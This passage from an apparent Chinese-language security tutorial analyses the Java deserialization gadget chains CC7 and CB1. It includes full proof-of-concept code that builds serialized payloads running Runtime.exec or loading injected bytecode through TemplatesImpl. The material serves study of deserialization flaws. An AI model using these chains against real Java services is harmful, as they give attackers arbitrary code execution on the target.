在反序列化的时候AbstractMap抽象类的equals会在第三个if判断中会判断Map中元素的个数,由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞

image-20220411172951017

除此之外,要触发这条链,还有一个条件就是构造利用链的时候必须添加两个hash一样的元素,下面来分析一下吧。

public synchronized V put(K key, V value) {
    // Make sure the value is not null
    if (value == null) {
        throw new NullPointerException();
    }

    // Makes sure the key is not already in the hashtable.
    Entry<?,?> tab[] = table;
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    @SuppressWarnings("unchecked")
    Entry<K,V> entry = (Entry<K,V>)tab[index];
    for(; entry != null ; entry = entry.next) {
        if ((entry.hash == hash) && entry.key.equals(key)) {
            V old = entry.value;
            entry.value = value;
            return old;
        }
    }

    addEntry(hash, key, value, index);
    return null;
}

他这要满足entry.hash == hash,hash是通过key.hashcode来赋值的,我们传入的key是一个LazyMap,所以得去找LazyMap的hashcode方法,他本身是没有hashcode方法,但是他继承了AbstractMap类,所以会调用AbstractMap类的hashcode方法。

public int hashCode() {
    int h = 0;
    Iterator<Entry<K,V>> i = entrySet().iterator();
    while (i.hasNext())
        h += i.next().hashCode();
    return h;
}

他这里又通过遍历去调用元素的hashcode方法,其实是Node节点的hashCode方法image-20220411172959162

我们跳到HashMap的内部类Node的hashCode方法来看看

public final int hashCode() {
    return Objects.hashCode(key) ^ Objects.hashCode(value);
}

他是先调用Object类的hashCode方法计算出来一个值,然后再用key和value通过Object类的hashCode方法计算出来的值进行异或运算得到一个新的值,继续根据Objects.hashCode

image-20220411173004870

可以看到,实际上底层调用了字符串“yy”的包装类String的hashCode方法,我们继续跟进到String的hashCode方法,可以看到,第一次算的时候是val[i]是y,ascii是121,h就是121,第二次是y,就是121*31+121也就是3872

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

然后回到Node类中的hashCode方法,进行异或运算得到一个3873新的hash值并返回到AbstractMap类的hashCode方法中,最终lazyMap1的hash值就是3873

lazyMap2也是同理,这里的话yy和zZ都是精心构造的,也可以换成Ea和FB

POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7test {
    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        lazyMap2.remove("yy");
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);
        serialize(hashtable);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

CB1

Apache Commons Beanutils 是Apache Commons工具集下的一个项目,提供了一些对普通Java类对象的一些操作方法,这些Java类对象也叫JavaBean

这里直接来写一个demo

public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }
}

这样的class称为bean,读写方法以get和set开头,后面是首字母大写的属性名,他们包含若干个私有的属性,要得到这个属性只能通过getXxxx来获取。

除此之外,commons beanutils 中有这么一个类PropertyUtils,他提供了一个静态方法getProperty(),该方法可以让使用者直接调用某个JavaBean的某个属性的getter,比如上面那个,我要调用他的getName,我们只需要这么写即可

PropertyUtils.getProperty(new Person(),"name");

这时候他就会去自动寻找到Person类的name属性的getter,就是上面的getName(),调用并且获取返回值,此外,他还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,可以通过如下方式进行递归获取

PropertyUtils.getProperty(a,"b.c");

通过这种方式可以很方便的获取不同类的不同属性的值

这条CB链和CC4有点关系,CC4中有调用过comparator的compare方法,CB1就是在这发生了改变,他使用到了一个类,org.apache.commons.beanutils.BeanComparator他的compare方法如下

public int compare( Object o1, Object o2 ) {
    
    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }
    
    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    } 
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    } 
}

如果this.property为空的情况下,直接比较这俩对象。如果property不为空,则是调用PropertyUtils.getProperty来获取这两个对象的property属性的值

public static Object getProperty(Object bean, String name)
        throws IllegalAccessException, InvocationTargetException,
        NoSuchMethodException {

    return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

返回指定bean的指定属性的值,不进行类型转换,比如我传入bean是之前的那个demm中的person,name是上面的age,他会去返回我们的age,也就是这个方法会自动去调用一个JavaBean的getter方法。

CC3链中有这么一个方法TemplatesImpl.getOutputProperties(),他符合getXxxx这样的格式,我们通过使用PropertyUtils.getProperty(TemplatesImpl,”outputProperties”)这样来调用我们的TemplatesImpl.getOutputProperties

demo

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb1 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = templates.getClass().getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
        byte[][] codes= {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);
        Field propertyField=comparator.getClass().getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(comparator,"outputProperties");
        Field queueField=queue.getClass().getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates, templates});
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

由于这个需要用到CC包,下面给出一个无依赖的链

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.xpath.regex.CaseInsensitiveMap;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.ASCIICaseInsensitiveComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb1 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
        byte[][] codes= {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("2");
        Field propertyField=comparator.getClass().getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(comparator,"outputProperties");
        Field queueField=queue.getClass().getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates, templates});
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

具体参考https://ch1e.cn/2022/03/06/cb1/